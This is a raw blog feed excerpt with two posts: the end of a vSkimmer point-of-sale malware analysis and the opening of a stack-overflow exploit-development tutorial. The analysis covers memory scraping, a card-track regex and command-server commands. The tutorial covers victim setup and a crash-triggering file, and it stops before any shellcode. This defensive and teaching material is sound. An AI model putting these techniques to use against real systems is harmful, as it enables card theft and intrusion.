&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;u&gt;&lt;b&gt;Extracting Credit Card numbers from the memory&lt;/b&gt;&lt;/u&gt;&lt;/div&gt;
&lt;div&gt;
&lt;u&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/u&gt;&lt;/div&gt;
&lt;div&gt;
VSkimmer maintains the whitelisted process, which it skips while enumerating the running processes on the infected machine.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjcyDJwciMFBThfXpArs7uPU9HNF84ueBtjKr6qmPwZbJCle-F-1nmmCV9xD0etq_hyphenhyphenfASnOpZ0RJbuELqAnA5gaJmczKjLB0ZADDR7lJxjnWrmmFGJ-eaJ2GBDzz2oHHlCSn_3wGlKoE/s1600/23.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjcyDJwciMFBThfXpArs7uPU9HNF84ueBtjKr6qmPwZbJCle-F-1nmmCV9xD0etq_hyphenhyphenfASnOpZ0RJbuELqAnA5gaJmczKjLB0ZADDR7lJxjnWrmmFGJ-eaJ2GBDzz2oHHlCSn_3wGlKoE/s400/23.png&quot; height=&quot;400&quot; width=&quot;373&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Once vSkimmer finds any running process not in the whitelist, it executes &amp;nbsp;OpenProcess and ReadProcessMemory to read the memory pages of the process and invokes the pattern-matching algorithm to match the regular expression “?[3-9]{1}[0-9]{12,19}[D=\\u0061][0-9]{10,30}\\??”)” and extract the card info read by the payment devices. This is done recursively for every process running in the infected machine and not on the whitelist and continues doing it as long as the malware runs inside the system.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj57yvL_peCOIE4UFS5i8LPoCM6zOK5WM1imBPoBSIQnzwzQ6F3oK2GxDsIG5OiSG-kx-AhZSnBGZpmlmCVzIS7Vp4YOoBBtJXzQVlzAOSqf3SVDCSg0tf4LWBdfPMPEAf-u8VfZi91Q34/s1600/24.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj57yvL_peCOIE4UFS5i8LPoCM6zOK5WM1imBPoBSIQnzwzQ6F3oK2GxDsIG5OiSG-kx-AhZSnBGZpmlmCVzIS7Vp4YOoBBtJXzQVlzAOSqf3SVDCSg0tf4LWBdfPMPEAf-u8VfZi91Q34/s400/24.png&quot; height=&quot;282&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;u&gt;Vskimmer Network Communications&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
Before communicating with the command and control server, the malware B64-encodes all the machine information collected and appends it to the URI. The encoded string follows this format:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;machine guid|build_id|bot_version|Windows_version|Host_name|User_Name&lt;/b&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifPsIlfcY2xrauIWUUj1qbrkoJ7QkZ9ZB_eTFGMxBuXhh2y8IE_z90ca7londnWwIZKmbAYXKAw3GsIrvVUmxk9f2ce2FKqA0_Pgcfg6c-KhXTb_bTqgTq0hCI1_S3lPNuXY_31MbiE78/s1600/37.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifPsIlfcY2xrauIWUUj1qbrkoJ7QkZ9ZB_eTFGMxBuXhh2y8IE_z90ca7londnWwIZKmbAYXKAw3GsIrvVUmxk9f2ce2FKqA0_Pgcfg6c-KhXTb_bTqgTq0hCI1_S3lPNuXY_31MbiE78/s400/37.png&quot; height=&quot;341&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJXG7vZnSxdewPjJOgvrzu9A29_BT7CE34H9eP-11wegbRaF1-q3_UIVCZrW5sWZsheZAPI_S0iZEMMEstcuSC7QewRz3Fe-pXnxCaYaRRZieJKXOIeB9BJWnpdOAQN5ku2vVpsVqQB7Q/s1600/29.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; display: inline !important; margin-bottom: 1em; margin-right: 1em; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJXG7vZnSxdewPjJOgvrzu9A29_BT7CE34H9eP-11wegbRaF1-q3_UIVCZrW5sWZsheZAPI_S0iZEMMEstcuSC7QewRz3Fe-pXnxCaYaRRZieJKXOIeB9BJWnpdOAQN5ku2vVpsVqQB7Q/s400/29.png&quot; height=&quot;331&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
While this malware ran, we saw the following response. Note that the commands are within the &lt;cmd&gt; &lt;/cmd&gt; tag.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTXtQm8EfFQK934VGKeYiaRRUU4hMpAKLkkLLp8uxhhfrs0hEqVCbVcnoThymKje4RSWnG3ZBLFx8ffxBC_4LTNu-txd5DERpsisl4PaWq6UHWtSyS4NhCcmTnjdcxQlorg8tX5E-LqoI/s1600/response.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTXtQm8EfFQK934VGKeYiaRRUU4hMpAKLkkLLp8uxhhfrs0hEqVCbVcnoThymKje4RSWnG3ZBLFx8ffxBC_4LTNu-txd5DERpsisl4PaWq6UHWtSyS4NhCcmTnjdcxQlorg8tX5E-LqoI/s400/response.png&quot; height=&quot;133&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Once vSkimmer receives a response from the server, it executes the following routine to parse the command:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqFcYdhNGWLMVlTYkntDbFlROjH55ul99t5wlDRbd-9e7iv2lXI3lesgZFH0lBty5QJUIiwVHyNV5_Ex4vuff4tEsnWJylIbbBeTXV5wbEf5lyVjRXmJ2scXUnxQ-LJMqcHtI_MCMMsxQ/s1600/26.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqFcYdhNGWLMVlTYkntDbFlROjH55ul99t5wlDRbd-9e7iv2lXI3lesgZFH0lBty5QJUIiwVHyNV5_Ex4vuff4tEsnWJylIbbBeTXV5wbEf5lyVjRXmJ2scXUnxQ-LJMqcHtI_MCMMsxQ/s400/26.png&quot; height=&quot;276&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Because the response from the server during execution was &lt;cmd&gt;null&lt;/cmd&gt;, the malware extracts the 3-byte command and tries to match it with the other commands implemented by vSkimmer. First it checks if the command from the server is “dlx.”&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqJkOkJmojfCBxirdnqmvGmp_n626nMHvL0tEXoROIC_oCnwqQ_w8fRV32l0I3QEoxS8Twdm2UOstbIqCfI1M5jaqC-yCg-7O-xqBy4V9iXWv8IgA-NI09EMp39xyhDPvhqkKjJdQBFCc/s1600/31.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqJkOkJmojfCBxirdnqmvGmp_n626nMHvL0tEXoROIC_oCnwqQ_w8fRV32l0I3QEoxS8Twdm2UOstbIqCfI1M5jaqC-yCg-7O-xqBy4V9iXWv8IgA-NI09EMp39xyhDPvhqkKjJdQBFCc/s400/31.png&quot; height=&quot;68&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
If not, then vSkimmer checks for the “upd” command. These commands implement the HTTP download and execute (“dlx”) and update of the bot (“upd”), respectively.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
As we saw earlier in this post, vSkimmer can also grab the Track 2 data stored on the magnetic strip of the credit cards. This track stores all the card information including the card number. (You can read more about the Track 2 data format on &lt;a href=&quot;http://en.wikipedia.org/wiki/Magnetic_stripe_card&quot;&gt;Wikipedia&lt;/a&gt;. In summary , the data stored is :&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Primary Account Number : The number printed on the front of the card&lt;/li&gt;
&lt;li&gt;Expiration Date&lt;/li&gt;
&lt;li&gt;Service Code: the three-digit number&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;u&gt;&lt;b&gt;Vskimmer botnet Control Panel&lt;/b&gt;&lt;/u&gt;&lt;/div&gt;
&lt;div&gt;
&lt;u&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/u&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0FJ4LR9beacFDRCSynLeGbE0uyZQTLfh7Zo6VHj-gGUAQ3Sy7LfHC_TVpUXLhtZmRynhYOWPgPtf5y0y60Gl6-ci52v5DqUCoz2KTy-fYo_tVpMIJVfLHeK6N32Gvg_LeIxddmRwCP_c/s1600/32.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0FJ4LR9beacFDRCSynLeGbE0uyZQTLfh7Zo6VHj-gGUAQ3Sy7LfHC_TVpUXLhtZmRynhYOWPgPtf5y0y60Gl6-ci52v5DqUCoz2KTy-fYo_tVpMIJVfLHeK6N32Gvg_LeIxddmRwCP_c/s400/32.png&quot; height=&quot;152&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;u&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/u&gt;&lt;/div&gt;
&lt;div&gt;
&lt;u&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/u&gt;&lt;/div&gt;
&lt;div&gt;
&lt;u&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/u&gt;&lt;/div&gt;
&lt;div&gt;
&lt;u&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/u&gt;&lt;/div&gt;
&lt;div&gt;
&lt;u&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/u&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhon4hP_Nin-l8jAeYi_xRu7hV7lxPX8lwZOQDVt6BwBWjgRfdJZJDUk6krlRTXPG-5hY1Sxd7PIyuyciwcx8pG2-7DMe_Qg1MoCTvz31XnJvx5BvBV0EOktsXwJk7wt2tcCm4zh7iF_BI/s1600/33.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhon4hP_Nin-l8jAeYi_xRu7hV7lxPX8lwZOQDVt6BwBWjgRfdJZJDUk6krlRTXPG-5hY1Sxd7PIyuyciwcx8pG2-7DMe_Qg1MoCTvz31XnJvx5BvBV0EOktsXwJk7wt2tcCm4zh7iF_BI/s1600/33.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhon4hP_Nin-l8jAeYi_xRu7hV7lxPX8lwZOQDVt6BwBWjgRfdJZJDUk6krlRTXPG-5hY1Sxd7PIyuyciwcx8pG2-7DMe_Qg1MoCTvz31XnJvx5BvBV0EOktsXwJk7wt2tcCm4zh7iF_BI/s400/33.png&quot; height=&quot;182&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;u&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/u&gt;&lt;/div&gt;
&lt;div&gt;
&lt;u&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/u&gt;&lt;/div&gt;
&lt;div&gt;
&lt;u&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/u&gt;&lt;/div&gt;
&lt;div&gt;
&lt;u&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/u&gt;&lt;/div&gt;
&lt;div&gt;
&lt;u&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/u&gt;&lt;/div&gt;
&lt;div&gt;
&lt;u&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/u&gt;&lt;/div&gt;
&lt;div&gt;
&lt;u&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/u&gt;&lt;/div&gt;
&lt;div&gt;
&lt;u&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/u&gt;&lt;/div&gt;
&lt;div&gt;
&lt;u&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/u&gt;&lt;/div&gt;
&lt;div&gt;
&lt;u&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/u&gt;&lt;/div&gt;
&lt;div&gt;
&lt;u&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/u&gt;&lt;/div&gt;
&lt;div&gt;
&lt;u&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/u&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
</description><link>http://extreme-security.blogspot.com/2013/04/vskimmer-botnet-targets-point-of-sale.html</link><author>noreply@blogger.com (Chintan Shah)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihSmAxE6KWzRbDo783qS0LNcEv_zG2RrgpYRTnQVfhh8IULel0iOcoE6j3IDVe50dpy9l-MfGM2Vt0k1q73z98WqpW7-cz1Z8vYd1_1gaqr3DJqQ6z2JUn_FP04HoGzJ8eC8tf7Z6xvBc/s72-c/1-1.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7570290518879810718.post-2653187846317423026</guid><pubDate>Mon, 18 Feb 2013 04:49:00 +0000</pubDate><atom:updated>2014-06-04T23:26:08.339+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">Exploit Development Tutorial Series</category><title>Stack Overflows - Part 2 : Executing The Shellcode</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
In the &lt;a href=&quot;http://extreme-security.blogspot.com/2012/11/stack-overflows-part-1-basics.html&quot; target=&quot;_blank&quot;&gt;part 1&lt;/a&gt;&amp;nbsp;, we talked about lot of basics of stack overflow and some of the theoritical concepts that will help us get into it little deeper . We stopped at the point where we had exception thrown from the debugger . In this part , we will see how to translate this vulnerability into a working exploit and make the vulnerable software execute our own code. &lt;br /&gt;
&lt;br /&gt;
As an example , we will use the stack overflow&amp;nbsp;vulnerability discovered in Aviosoft Digital TV Player Professional 1.x reported &lt;a href=&quot;http://osvdb.org/show/osvdb/77043&quot; target=&quot;_blank&quot;&gt;here&lt;/a&gt;&amp;nbsp;. You can get the copy of vulnerable application and PoC exploit over &lt;a href=&quot;http://www.exploit-db.com/exploits/22932/&quot; target=&quot;_blank&quot;&gt;here&lt;/a&gt;. This software has the stack based buffer overflow vulnerability when opening the specially crafted and malicious .plf file which can lead to the arbitrary code execution on the machine running this software if it opens the specially crafted .plf file . &lt;br /&gt;
&lt;br /&gt;
The primary reason I selected this is that it is a very simple exploit which serves as a perfect example for the beginners to understand the process of building the working exploits. We will walk through the process step by step and build the exploit from the scratch . &lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;&lt;u&gt;System setup&lt;/u&gt;&lt;/strong&gt;&lt;br /&gt;
&lt;strong&gt;&lt;u&gt;&lt;/u&gt;&lt;/strong&gt;&lt;br /&gt;
To be able to reproduce and trigger this vulnerability , I would recommend using Windows XP SP2 as the victim system . This is precisely because of the fact that this version of the Windows XP does not have some of the stack overflow protection mechanisms that is introduced in SP3 and later . In case if you still wish to use SP3 as your victim system , you must turn off Data Execution Prevention ( DEP ) . Windows XP SP3 has the DEP turned on by default for all the services . If you turn this off , you are good to go ahead ..&lt;br /&gt;
&lt;br /&gt;
Next , I am using Backtrack 5 as my attacking system . I &#39;ll be using perl / python environment to write the exploits and Metasploit to build the shellcode. Both of these are virtual machines bridged to be able to talk to each other . You need not to have the exact similar setup and it should be pretty Ok to use whatever you have as long as you are able to translate this demo to your systems . Along with the vulnerable software installed in the victim system , We also need any one of your favourite debuggers to be installed . It could be either Immunity / Windbg / Ollydbg . I would suggest you install alteast Immunity and ollydbg debuggers in your VM. Immunity debugger has a very powerful plugin interface scriptable in python and several python scripts available already to make our exploit developement lot more easier.&lt;br /&gt;
&lt;strong&gt;&lt;u&gt;&lt;/u&gt;&lt;/strong&gt;&lt;br /&gt;
&lt;strong&gt;&lt;u&gt;Triggering the vulnerability&lt;/u&gt;&lt;/strong&gt;&lt;br /&gt;
&lt;strong&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/strong&gt;
First step towards building a working exploit is to verify the vulnerability and make sure that the application is throwing an exception / crashing when it is supplied malicious or specially crafted .plf file. You should be able to find the information about the vulnerable copy of the software from the relevant page on &lt;a href=&quot;http://www.exploit-db.com/exploits/22932/&quot; target=&quot;_blank&quot;&gt;exploit db&lt;/a&gt;. I wrote the following simple perl script , which will write the content into the .PLF file&lt;br /&gt;
&lt;strong&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/strong&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-S4AnEX65608d3HHHG9rvRBmNE___SO07Y5eQnWIRnKkoor4WsGRbOHSGUp6t4jIU2CnZy8bb11EREabX5Nb2QDqL4Fox86ZBXbuBcCbkkAI2pUt-jgVuUjEy57DiRA0E2-SWf14HShs/s1600/stack19.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-S4AnEX65608d3HHHG9rvRBmNE___SO07Y5eQnWIRnKkoor4WsGRbOHSGUp6t4jIU2CnZy8bb11EREabX5Nb2QDqL4Fox86ZBXbuBcCbkkAI2pUt-jgVuUjEy57DiRA0E2-SWf14HShs/s400/stack19.png&quot; height=&quot;117&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;strong&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/strong&gt;
&lt;strong&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/strong&gt;
&lt;strong&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/strong&gt;
&lt;strong&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/strong&gt;
&lt;strong&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/strong&gt;
&lt;strong&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/strong&gt;
&lt;strong&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/strong&gt;This simple perl script will create the .PLF file with 500 bytes of data. I wrote 500 &quot;A&quot;s ( Hex : 0x41) into the .PLF file . &amp;nbsp;Next , we open the software in the debugger ,run it and feed this file into the Aviosoft Digital TV player :&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
